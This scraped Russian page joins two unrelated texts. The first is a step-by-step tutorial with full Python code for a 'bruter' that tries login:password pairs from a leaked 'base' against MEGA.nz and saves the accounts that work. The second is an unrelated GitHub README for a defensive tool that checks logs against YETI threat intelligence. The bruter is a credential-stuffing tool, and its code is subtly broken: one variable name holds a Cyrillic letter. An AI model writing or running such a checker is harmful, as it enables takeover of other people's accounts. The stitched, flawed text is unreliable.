Как сделать чекер логов на python

Пишем чекер аккаунтов на PYTHON

Приступаем, после скачивания python. Установим нужные нам зависимости, то есть бибилиотеки .

Тыкаем WIN + R и пишем cmd, нажимаем enter. Вы открыли консоль (командную строку) .

pip install DateTime && pip install mega.py

Ждем окончания загрузки, и закрываем cmd . Теперь создаем txt фалик и заменяем txt на py. Открываем его текстовый редактором (редактором кода), и начинаем кодить.

from mega import Mega mega = Mega()

Импортируем библиотеку Mega, которая нам надо для самой функции брута.

Сделаем еще два импорта (можно и без них, но придется изменять код) они просто для удобства

import datetime import sys

Теперь сделаем def в который будет спрашивать названия файлика с базой для бурта, и проверять что ввел юзер (если он ввел название без .txt окончание то добавлять его).

def main(): print('MEGA.NZ ACCOUNTS BRUTER BY SHIFTER\n') print('Поместите базу для брута в директорию с этим скриптом') q = str(input('Введите название файла (базы для брута): ')) if '.txt' in q: dir_ = q else: dir_ = q + '.txt' checker(dir_)

def — Оболочка с кодом так сказать. тык

input — запрашивает текст (дает пользователю ввести текст)

if, else — операторы. Если произойдет это действие то будет так, если произойдет иначе будет так.

checker(dir_) — перенаправление на другой def под названием checker (который уже и будет чекать аккаунт на валид). Также мы через это перенаправлением передаем аргумент (args) под названием dir_ то есть то что ввел пользователь

Теперь сделаем что бы def main() работал.

Осталась последняя часть. Сам чекер, для новеньких в этой сфере ничего не будет понятно скорее всего, но постараюсь объяснить.

Между импортами и def main() (см. скрин выше) пишем:

Мы опять создали оболочку где будет храниться и выполняться наш код чекера.

Теперь будем использовать ранее импортированную библиотеку datetime. Для чего? Да что бы сохранять наш файлик с прочеканой базой время когда начался брут.

date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-') file_name = 'output_' + date + '.txt'

Мы создали переменную date, которая выдает точное время (2021-02-22 16:49:06.035025 например.)

и что бы не было ошибки что нельзя сделать файлик с названием в котором есть «:» мы их заменяем функцией replace() на ‘-‘.

Потом же создаем переменную которая обозначает название файлика где будет сохранен результат.

Теперь сделаем обработку ошибок, что бы при ошибке скрипт не падал, а просто показывал ошибку. Подробней здесь

try: except Exception as e: print(e)

то есть мы ловим ошибку как e и потом выводим ошибку.

Приступаем к созданию файлика где будет результат и чтению файлика с базой для дальнейших действий. Пишем между try: и except: данный код

with open(file_name, 'w', encoding='utf-8') as f: f.write('MEGA.NZ ACCOUNTS:\n\n') with open(dir_, 'r', encoding='utf-8') as accounts:

мы юзаем конструкцию with open . Т.к. она автоматически закрывает файлик.

этим кодом просматриваем содержимое нашего файлика под переменной dir_ .

Напишем проверку используя операторов If, else.

if len(accounts) >= 1: account = accounts.split('\n')

len — с англ. сокращено от слова Leng, длина. Мы проверяем на то что в фалике больше 1 символа, иначе выводим ошибку:

else: sys.exit('Файл ' + dir_ + ' пустой!')

Используя встроенную библиотеку в python — sys. Подробней о библиотеке здесь

Если же в файлике больше одного символа то срабатывает код который мы сейчас будем писать. На данный момент, создаётся переменная account которая содержит в себе аккаунты. Также мы использовали метод split() который обрезает строку по заданным параметрами. В нашем случае мы разделяем весь файлик на много строк (ну то есть 1 строка в файлике — 1 строка в переменной. Они записываются листом .)

‘\n’ это перенос строки на 1 вниз.

Теперь между if и else (см. скрин выше) пишем еще одну проверку на то что выводить в соответствии от кол-ва аккаунтов в текстовом документе (если 1 — аккаунта, если 0 или больше 1 то аккаунтов)

if str(len(account)) == '1': q = 'a' else: q = 'ов'

И выводим методом print() то сколько аккаунтов чекер будет чекать:

print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q)

Окончание: сам чекер

Используем цикл for мы по очереди начинаем выполнять код который будет ниже.

Снов пишем конструкцию try: except: которая в этом случае будет мало ли того что поможет скрипту не падать, да и еще определять валидный ли аккаунт.

try: acc = account.split(':') mega.login(acс[0], acc[1]) print("[+] " + account) output = open(file_name, 'a', encoding='utf-8') output.write(account + '\n') output.close() except: print(f"[-] ")

Это последние строки кода. В цикле, мы начинаем ловить ошибку, выполняем код:

разделяем строку на логин и пароль методом split который мы уже использовали выше)

Используем библиотеку mega и пробуем выполнить вход в аккаунт:

если пароль или логин не верный скрипт должен был упасть, но мы сделали конструкцию try: except благодаря чему он не падает. А выводить ошибку что аккаунт не валидный:

Если же аккаунт валид — выводим это:

и сохраняем его в файлик под названием значения нашей переменной file_name:

output = open(file_name, 'a', encoding='utf-8') output.write(account + '\n') output.close()

Открываем файлик с режимом A что обозначает, что аккаунты будут дописываться в файл. Также используем encoding, здесь очевидно. Но все же, это для того что бы при сохранение файлика случайно не вышло такого:

На этом наш кодинг закончился..

from mega import Mega mega = Mega() import datetime import sys def checker(dir_): date = str(datetime.datetime.now()).replace(' ', '-').replace(':', '-').replace('.', '-') file_name = 'output_' + date + '.txt' try: with open(file_name, 'w', encoding='utf-8') as f: f.write('MEGA.NZ ACCOUNTS:\n\n') with open(dir_, 'r', encoding='utf-8') as accounts: accounts = accounts.read() if len(accounts) >= 1: account = accounts.split('\n') if str(len(account)) == '1': q = 'a' else: q = 'ов' print('Начинаю проверку ' + str(len(account)) + ' аккаунт' + q) for account in account: try: acc = account.split(':') mega.login(acс[0], acc[1]) print("[+] " + account) output = open(file_name, 'a', encoding='utf-8') output.write(account + '\n') output.close() except: print(f"[-] ") sys.exit('Брут закончен! Результат сохранен в ' + file_name) else: sys.exit('Файл ' + dir_ + ' пустой!') except Exception as e: print(e) def main(): print('MEGA.NZ ACCOUNTS BRUTER BY SCAMMEMS\n') print('Поместите базу для брута в директорию с этим скриптом') q = str(input('Введите название файла (базы для брута): ')) if '.txt' in q: dir_ = q else: dir_ = q + '.txt' checker(dir_) main()

Переходим к запуску скрипта:

Отрываем cmd (командную строку);

Пишем cd путь/к/файлику.py Потом пишем python файлик.py

Вводим название файла где храниться база для брута. Ожидаем не много времени, и готово! База сохранена в файлику под названием времени когда был запущен брут.

Источник

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

Logchecker tool for scanning log files against YETI Threat Intelligence Repository

License

Lifars/log-checker

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

  • make sure you have installed Python3
  • logchecker depends on pyeti module which is not in PyPI, however, this module should be installed directly from GitHub with any of the methods described below

Use logchecker with installation

  • when logchecker is installed as a Python module, it also comes with logchecker script which could be directly executed (depending on Python installation and PATH environment variable)
  • download this repository as a ZIP or using git clone https://github.com/Lifars/log-checker.git
  • run inside of this repository command python3 setup.py install on Linux or setup.py install on Windows
  • run command logchecker or python3 -m logchecker
  • just run command pip3 install git+https://github.com/yeti-platform/pyeti git+https://github.com/Lifars/log-checker.git
  • run command logchecker or python3 -m logchecker

Use logchecker without installation

  • install dependencies with pip3 install -r requirements.txt
  • run command python3 -m logchecker from this directory

Logchecker supports text-based log files, Windows EVTX logs and any plaintext file. Please note that working with EVTX files in Python is slow. It can be faster to use some other tool to convert EVTX file to text file and run logchecker on that file.

Assume you want to check log file auth.log . Information needed to connect to YETI is in config.ini

The following command will find all IP addresses, domain names and hashes in auth.log , check them in YETI and print information (value, tags, created, sources, original log) to STDOUT in CSV format.

logchecker -c config.ini -f auth.log 
usage: logchecker [-h] [-c CONFIG] -f FILE [-o OUTPUT] [-a] [-d] [-H] [-A] [-C | -j] [-u URL] [-k KEY] optional arguments: -h, --help show this help message and exit -c CONFIG, --config CONFIG Config file path. Config file should contain url of YETI database, authorization key and output format. If it is present, it overrides --url, --key and --csv/--json options. -f FILE, --file FILE [REQUIRED] Log file path. -o OUTPUT, --output OUTPUT Output file path. If file does not exist, creates new file.If not specified, output is printed to STDOUT. -a, --address Search only for ip addresses. If none of the address, domain or hash flag is specified, it search for all mentioned. -d, --domain Search only for domains. If none of the address, domain or hash flag is specified, it search for all mentioned. -H, --hash Search only for hashes. If none of the address, domain or hash flag is specified, it search for all mentioned. -A, --all Show all values in logs. By default it shows only values which have record in database. -C, --csv Output in CSV format. This is default option. -j, --json Output in JSON format. By default output is in CSV format. -u URL, --url URL URL of YETI instance. -k KEY, --key KEY API key for YETI. 

Configuration file should be in INI format. It should contain URL of YETI instance, API key for YETI and output format.

Here is an example of configuration file:

[DEFAULT] url = http://localhost:5000/api/ api_key = abc123 output_format = json 

Note: Values from configuration file override values from command line arguments.

About

Logchecker tool for scanning log files against YETI Threat Intelligence Repository

Источник

Читайте также:  Php get user and password
Оцените статью